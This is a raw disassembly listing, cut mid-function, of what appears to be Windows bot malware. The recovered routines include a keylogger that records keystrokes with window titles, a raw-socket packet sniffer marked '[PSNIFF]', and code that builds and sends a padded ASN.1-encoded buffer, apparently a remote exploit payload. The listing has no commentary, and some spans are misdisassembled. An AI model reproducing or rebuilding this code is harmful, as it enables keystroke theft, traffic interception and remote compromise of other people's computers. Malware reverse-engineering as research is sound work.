word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_413C56 push esi call sub_413C00 add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_4021F6 push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_421BDC push 200h push eax call sub_413B2A push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 24h loc_4021F6: ; CODE XREF: seg000:004021BDj xor eax, eax loc_4021F8: ; CODE XREF: seg000:0040217Fj pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4021FB proc near ; DATA XREF: seg000:0040D179o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call ds:dword_42F690 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call ds:dword_42F6A4 mov ebx, 200h loc_402256: ; CODE XREF: sub_4021FB+2C7j push 8 call ds:dword_41F058 ; Sleep call ds:dword_42F690 cmp eax, [ebp+var_8] jz short loc_4022DE lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call ds:dword_42F6A4 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4135AD sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call near ptr loc_402119+1 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_413630 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_413630 add esp, 0Ch loc_4022DE: ; CODE XREF: sub_4021FB+6Cj mov [ebp+arg_0], offset aB ; "b" loc_4022E5: ; CODE XREF: sub_4021FB+2BDj push 10h call ds:dword_42F5E8 movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call ds:dword_42F6D4 test ah, 80h jz short loc_40237D push 14h call ds:dword_42F5E8 test ax, ax jz short loc_40232E cmp esi, 0FFFFFFFFh jle short loc_40232E cmp edi, 40h jle short loc_40232E cmp edi, 5Bh jge short loc_40232E mov [ebp+edi*4+var_8DC], 1 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40232E: ; CODE XREF: sub_4021FB+112j ; sub_4021FB+117j ... push 14h call ds:dword_42F5E8 test ax, ax jz short loc_402359 test esi, esi jge short loc_40236D cmp edi, 40h jle short loc_402359 cmp edi, 5Bh jge short loc_402359 mov [ebp+edi*4+var_8DC], 2 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_402359: ; CODE XREF: sub_4021FB+13Ej ; sub_4021FB+147j ... test esi, esi jge short loc_40236D mov [ebp+edi*4+var_8DC], 3 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40236D: ; CODE XREF: sub_4021FB+142j ; sub_4021FB+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40237D: ; CODE XREF: sub_4021FB+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_4024AD and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_4023B5 call sub_413DB0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_4024AD ; --------------------------------------------------------------------------- loc_4023B5: ; CODE XREF: sub_4021FB+1A5j call sub_413DB0 cmp eax, 1B9h pop ecx jbe short loc_4023E7 call ds:dword_42F690 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call ds:dword_42F6A4 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_402428 ; --------------------------------------------------------------------------- loc_4023E7: ; CODE XREF: sub_4021FB+1C5j cmp edi, 0Dh jnz loc_40247F lea eax, [ebp+var_2DC] push eax call sub_413DB0 test eax, eax pop ecx jz loc_4024AD call ds:dword_42F690 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call ds:dword_42F6A4 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_402428: ; CODE XREF: sub_4021FB+1EAj lea eax, [ebp+var_4DC] push eax call sub_4135AD sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call near ptr loc_402119+1 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_413630 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_413630 add esp, 0Ch jmp short loc_4024AD ; --------------------------------------------------------------------------- loc_40247F: ; CODE XREF: sub_4021FB+1EFj cmp esi, 1 jz short loc_402498 cmp esi, 3 jz short loc_402498 cmp esi, 2 jz short loc_402493 cmp esi, 4 jnz short loc_4024AD loc_402493: ; CODE XREF: sub_4021FB+291j push [ebp+arg_0] jmp short loc_40249F ; --------------------------------------------------------------------------- loc_402498: ; CODE XREF: sub_4021FB+287j ; sub_4021FB+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40249F: ; CODE XREF: sub_4021FB+29Bj lea eax, [ebp+var_2DC] push eax call sub_413CD0 pop ecx pop ecx loc_4024AD: ; CODE XREF: sub_4021FB+12Ej ; sub_4021FB+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_421BA4 jl loc_4022E5 cmp [ebp+var_4], 0 jz loc_402256 push [ebp+var_D8] call sub_413375 pop ecx push 0 call near ptr 0A70000h hlt sub_4021FB endp ; --------------------------------------------------------------------------- loc_4024DC: ; DATA XREF: seg000:0040CFC2o push ebp mov ebp, esp mov eax, 102B4h call sub_413E30 mov edx, [ebp+8] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp-0B4h] pop ecx mov [ebp-8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp-1Ch] push esi push eax call sub_413630 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push esi call ds:dword_42F708 push dword ptr [ebp-0B4h] mov [ebp-1Ah], ax call sub_408619 pop ecx push eax call ds:dword_42F748 push esi push 3 push 2 mov [ebp-18h], eax call ds:dword_42F788 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-4], edi jnz short loc_4025B1 call ds:dword_42F69C push eax lea eax, [ebp-2B4h] push offset unk_42261C push eax call sub_4135AD add esp, 0Ch cmp [ebp-28h], esi jnz short loc_402594 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_4110B0 add esp, 14h loc_402594: ; CODE XREF: seg000:00402572j lea eax, [ebp-2B4h] push eax call sub_409615 push dword ptr [ebp-30h] call sub_413375 pop ecx pop ecx push esi call near ptr 0A70000h ; --------------------------------------------------------------------------- db 8Eh ; --------------------------------------------------------------------------- loc_4025B1: ; CODE XREF: seg000:00402552j mov eax, [ebp-30h] push 10h imul eax, 234h mov ds:dword_4348A4[eax], edi lea eax, [ebp-1Ch] push eax push edi call ds:dword_42F734 cmp eax, 0FFFFFFFFh jnz short near ptr loc_402635+1 call ds:dword_42F69C push eax lea eax, [ebp-2B4h] push offset unk_4225D4 push eax call sub_4135AD add esp, 0Ch cmp [ebp-28h], esi jnz short loc_402612 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_4110B0 add esp, 14h loc_402612: ; CODE XREF: seg000:004025F0j lea eax, [ebp-2B4h] push eax call sub_409615 pop ecx push edi call ds:dword_42F7A0 push dword ptr [ebp-30h] call sub_413375 pop ecx push esi call near ptr 0A70000h loc_402635: ; CODE XREF: seg000:004025D0j adc al, 56h lea eax, [ebp-20h] push esi push eax push esi push esi lea eax, [ebp-8] push 4 push eax push 98000001h push edi call ds:dword_42F6B4 cmp eax, 0FFFFFFFFh jnz short near ptr loc_4026B8+1 call ds:dword_42F69C push eax lea eax, [ebp-2B4h] push offset unk_422588 push eax call sub_4135AD add esp, 0Ch cmp [ebp-28h], esi jnz short loc_402695 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_4110B0 add esp, 14h loc_402695: ; CODE XREF: seg000:00402673j lea eax, [ebp-2B4h] push eax call sub_409615 pop ecx push edi call ds:dword_42F7A0 push dword ptr [ebp-30h] call sub_413375 pop ecx push esi call near ptr 0A70000h loc_4026B8: ; CODE XREF: seg000:00402653j and [ebx-45h], edx sbb byte ptr [edx+eax*2], 0 loc_4026BF: ; CODE XREF: seg000:004026F7j ; seg000:00402709j ... mov edi, 0FFFFh lea eax, [ebp-102B4h] push edi push esi push eax call sub_413630 add esp, 0Ch lea eax, [ebp-102B4h] push esi push edi push eax push dword ptr [ebp-4] call ds:dword_42F720 cmp eax, 0FFFFFFFFh jz loc_4027D1 cmp byte ptr [ebp-102ABh], 6 jnz short loc_4026BF mov eax, [ebp-102A8h] cmp byte ptr [ebp-10293h], 18h mov [ebp-0Ch], eax jnz short loc_4026BF lea eax, [ebp-1028Ch] push offset aPsniff ; "[PSNIFF]" push eax call sub_413B80 pop ecx test eax, eax pop ecx jnz short loc_4026BF mov eax, ebx xor edi, edi test eax, eax jz short loc_4026BF mov [ebp+8], ebx loc_40272D: ; CODE XREF: seg000:00402748j push eax lea eax, [ebp-1028Ch] push eax call sub_413B80 pop ecx test eax, eax pop ecx jnz short loc_40274F inc edi add dword ptr [ebp+8], 18h mov eax, [ebp+8] jnz short loc_40272D jmp loc_4026BF ; --------------------------------------------------------------------------- loc_40274F: ; CODE XREF: seg000:0040273Ej lea eax, [ebp-1028Ch] push eax push dword ptr [ebp-102A0h] call ds:dword_42F644 movzx eax, ax push eax push dword ptr [ebp-0Ch] call ds:dword_42F794 push eax lea eax, [edi+edi*2] mov eax, ds:dword_421C94[eax*8] push ds:off_421C70[eax*4] lea eax, [ebp-2B4h] push offset unk_422534 push 200h push eax call sub_413B2A add esp, 1Ch cmp [ebp-28h], esi jnz short loc_4027BF push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_4110B0 add esp, 14h loc_4027BF: ; CODE XREF: seg000:0040279Dj lea eax, [ebp-2B4h] push eax call sub_409615 pop ecx jmp loc_4026BF ; --------------------------------------------------------------------------- loc_4027D1: ; CODE XREF: seg000:004026EAj call ds:dword_42F69C push eax push offset unk_4224EC lea eax, [ebp-2B4h] push 200h push eax call sub_413B2A add esp, 10h cmp [ebp-28h], esi pop ebx jnz short loc_402817 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_4110B0 add esp, 14h loc_402817: ; CODE XREF: seg000:004027F5j lea eax, [ebp-2B4h] push eax call sub_409615 pop ecx push dword ptr [ebp-4] call ds:dword_42F7A0 push dword ptr [ebp-30h] call sub_413375 pop ecx push esi call near ptr 0A70000h adc [ebx+46083C1h], ecx ; CODE XREF: sub_402AB1+Ep ; sub_402AB1+33p ... add [ebx+53C30020h], al ; CODE XREF: sub_402AB1+11Ep mov ebx, [esp+0Ch] push esi push edi mov esi, ecx push ebx call sub_413E5F mov edi, eax pop ecx test edi, edi jz short loc_402879 push ebx push 0 push edi call sub_413630 push ebx push dword ptr [esp+20h] push edi call sub_413690 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_402879: ; CODE XREF: seg000:0040285Bj mov eax, esi pop edi pop esi pop ebx retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402881 proc near ; CODE XREF: sub_40297B+18p ; sub_4029F5+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_413E5F mov esi, eax pop ecx test esi, esi jz short loc_4028CD push edi push 0 push esi call sub_413630 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_413690 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_413690 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4028CD: ; CODE XREF: sub_402881+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_402881 endp ; =============== S U B R O U T I N E ======================================= sub_4028D6 proc near ; CODE XREF: sub_40297B+5Ep ; sub_40297B+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4028E6 push eax call sub_413ED3 pop ecx loc_4028E6: ; CODE XREF: sub_4028D6+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4028D6 endp ; =============== S U B R O U T I N E ======================================= sub_4028EF proc near ; CODE XREF: sub_40297B+20p ; sub_402A56+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40291C xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_413E5F mov edi, eax pop ecx test edi, edi jnz short loc_402920 loc_40291C: ; CODE XREF: sub_4028EF+Dj xor al, al jmp short loc_402977 ; --------------------------------------------------------------------------- loc_402920: ; CODE XREF: sub_4028EF+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_413630 add esp, 0Ch cmp ebx, 1 jnz short loc_402945 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40295F ; --------------------------------------------------------------------------- loc_402945: ; CODE XREF: sub_4028EF+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40295F: ; CODE XREF: sub_4028EF+54j push eax call sub_413690 add esp, 0Ch push dword ptr [esi] call sub_413ED3 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_402977: ; CODE XREF: sub_4028EF+2Fj pop edi pop esi pop ebx retn sub_4028EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40297B proc near ; CODE XREF: sub_402AB1+89p ; sub_402AB1+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_42E344 call sub_402881 lea ecx, [ebp+var_8] call sub_4028EF mov eax, [ebp+var_4] inc eax push eax call sub_413E5F mov edi, eax pop ecx test edi, edi jnz short loc_4029B5 xor al, al jmp short loc_4029F1 ; --------------------------------------------------------------------------- loc_4029B5: ; CODE XREF: sub_40297B+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_413630 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_413690 add esp, 18h mov ecx, esi call sub_4028D6 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4028D6 mov al, 1 loc_4029F1: ; CODE XREF: sub_40297B+38j pop edi pop esi leave retn sub_40297B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029F5 proc near ; CODE XREF: sub_402A29+14p ; sub_402A46+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_402881 mov ecx, esi call sub_4028D6 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4029F5 endp ; =============== S U B R O U T I N E ======================================= sub_402A29 proc near ; CODE XREF: sub_402AB1+F0p ; sub_402AB1+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_413DB0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4029F5 pop esi retn 4 sub_402A29 endp ; =============== S U B R O U T I N E ======================================= sub_402A46 proc near ; CODE XREF: sub_402A92+Bp ; sub_402AB1+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4029F5 retn 8 sub_402A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A56 proc near ; CODE XREF: sub_402A92+16p ; sub_402AB1+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4028EF test al, al jz short loc_402A8F push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4229CF+1) call sub_402881 mov ecx, esi call sub_4028D6 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_402A8F: ; CODE XREF: sub_402A56+Fj pop esi leave retn sub_402A56 endp ; =============== S U B R O U T I N E ======================================= sub_402A92 proc near ; CODE XREF: sub_402AB1+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_402A46 test al, al jz short loc_402AAD mov ecx, esi call sub_402A56 loc_402AAD: ; CODE XREF: sub_402A92+12j pop esi retn 8 sub_402A92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402AB1 proc near ; CODE XREF: sub_4032B0+86p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call near ptr loc_40283C+1 mov edi, 408h cmp [ebp+arg_8], edi jg loc_402E05 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_402E05 push esi lea ecx, [ebp+var_30] call near ptr loc_40283C+1 lea ecx, [ebp+var_20] call near ptr loc_40283C+1 lea ecx, [ebp+var_50] call near ptr loc_40283C+1 lea ecx, [ebp+var_18] call near ptr loc_40283C+1 lea ecx, [ebp+var_40] call near ptr loc_40283C+1 lea ecx, [ebp+var_38] call near ptr loc_40283C+1 lea ecx, [ebp+var_28] call near ptr loc_40283C+1 push 4 push offset dword_422670 lea ecx, [ebp+var_30] call sub_4029F5 push 3 push offset dword_422678 lea ecx, [ebp+var_30] call sub_4029F5 lea ecx, [ebp+var_30] call sub_40297B lea ecx, [ebp+var_30] call sub_402A56 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_413630 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_4029F5 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4029F5 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4029F5 lea ecx, [ebp+var_20] call sub_40297B push offset loc_4229F8 lea ecx, [ebp+var_50] call sub_402A29 lea ecx, [ebp+var_50] call sub_40297B push esi lea eax, [ebp+var_858] push 44h push eax call sub_413630 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call near ptr loc_402842+5 lea ecx, [ebp+var_58] call sub_40297B push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_402A92 lea ecx, [ebp+var_58] call sub_4028D6 push esi lea eax, [ebp+var_858] push 43h push eax call sub_413630 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_402A29 push 4 push offset dword_42267C lea ecx, [ebp+var_18] call sub_4029F5 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4029F5 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4029F5 lea ecx, [ebp+var_18] call sub_40297B push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_402A46 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_402A46 lea ecx, [ebp+var_40] call sub_402A56 lea ecx, [ebp+var_18] call sub_4028D6 lea ecx, [ebp+var_50] call sub_4028D6 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_402A46 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_402A46 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_402A46 lea ecx, [ebp+var_38] call sub_402A56 lea ecx, [ebp+var_20] call sub_4028D6 lea ecx, [ebp+var_30] call sub_4028D6 lea ecx, [ebp+var_40] call sub_4028D6 push esi lea eax, [ebp+var_858] push 41h push eax call sub_413630 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4029F5 lea ecx, [ebp+var_28] call sub_40297B push 2 push offset dword_4229EC lea ecx, [ebp+var_28] call sub_4029F5 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_402A46 lea ecx, [ebp+var_28] call sub_402A56 lea ecx, [ebp+var_38] call sub_4028D6 lea ecx, [ebp+var_10] call near ptr loc_40283C+1 lea ecx, [ebp+var_8] call near ptr loc_40283C+1 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_402A46 lea ecx, [ebp+var_10] call sub_4028EF lea ecx, [ebp+var_28] call sub_4028D6 push offset dword_4229E8 lea ecx, [ebp+var_8] call sub_402A29 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_402A46 lea ecx, [ebp+var_8] call sub_4028EF lea ecx, [ebp+var_10] call sub_4028D6 push offset dword_4229E4 lea ecx, [ebp+var_10] call sub_402A29 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_402A46 lea ecx, [ebp+var_10] call sub_4028EF lea ecx, [ebp+var_8] call sub_4028D6 push offset dword_4229D8 lea ecx, [ebp+var_8] call sub_402A29 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_402A46 lea ecx, [ebp+var_8] call sub_4028EF lea ecx, [ebp+var_10] call sub_4028D6 push offset dword_4229D4 lea ecx, [ebp+var_48] call sub_402A29 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_402A46 lea ecx, [ebp+var_8] call sub_4028D6 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_402E13 ; --------------------------------------------------------------------------- loc_402E05: ; CODE XREF: sub_402AB1+1Bj ; sub_402AB1+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_402E13: ; CODE XREF: sub_402AB1+352j pop edi pop ebx leave retn sub_402AB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E17 proc near ; CODE XREF: sub_402EDB+A1p ; sub_402EDB+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_41F1E0 ; select cmp eax, edi jnz short loc_402E7E lea eax, [ebp+var_10C] push eax push esi call sub_41E196 ; __WSAFDIsSet test eax, eax jnz short loc_402E82 loc_402E7E: ; CODE XREF: sub_402E17+54j xor eax, eax jmp short loc_402E92 ; --------------------------------------------------------------------------- loc_402E82: ; CODE XREF: sub_402E17+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_42F720 loc_402E92: ; CODE XREF: sub_402E17+69j pop edi pop esi leave retn sub_402E17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E96 proc near ; CODE XREF: sub_402EDB+81p ; sub_402EDB+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call ds:dword_42F704 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call ds:dword_42F758 cmp eax, 4 jz short loc_402EC0 xor al, al leave retn ; --------------------------------------------------------------------------- loc_402EC0: ; CODE XREF: sub_402E96+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42F758 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_402E96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EDB proc near ; CODE XREF: sub_402FB5+48p ; sub_4032B0+181p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_413E5F mov esi, eax pop ecx test esi, esi jnz short loc_402F04 xor al, al jmp loc_402FB0 ; --------------------------------------------------------------------------- loc_402F04: ; CODE XREF: sub_402EDB+20j push ebx push 0 push esi call sub_413630 push 2Fh push offset dword_42270C push esi call sub_413690 push 8 lea eax, [esi+31h] push offset dword_42273C push eax mov [esi+2Fh], di call sub_413690 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_413690 push 6 add ebx, edi push offset dword_42E33C push ebx call sub_413690 mov ebx, [ebp+arg_0] push 85h push offset dword_422684 push ebx call sub_402E96 add esp, 48h test al, al jnz short loc_402F6C loc_402F68: ; CODE XREF: sub_402EDB+B5j xor bl, bl jmp short loc_402FA7 ; --------------------------------------------------------------------------- loc_402F6C: ; CODE XREF: sub_402EDB+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_402E17 push [ebp+var_4] push esi push ebx call sub_402E96 add esp, 1Ch test al, al jz short loc_402F68 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_402E17 add esp, 10h mov bl, 1 loc_402FA7: ; CODE XREF: sub_402EDB+8Fj push esi call sub_413ED3 pop ecx mov al, bl loc_402FB0: ; CODE XREF: sub_402EDB+24j pop edi pop esi pop ebx leave retn sub_402EDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FB5 proc near ; CODE XREF: sub_4032B0+167p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_422748 push [ebp+arg_0] call ds:dword_41F1DC ; send cmp eax, 48h jnz short loc_402FF0 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_402E17 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_402FF0 cmp [ebp+var_20], 82h jz short loc_402FF4 loc_402FF0: ; CODE XREF: sub_402FB5+1Bj ; sub_402FB5+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_402FF4: ; CODE XREF: sub_402FB5+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_402EDB add esp, 0Ch leave retn sub_402FB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403007 proc near ; CODE XREF: sub_403053+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr 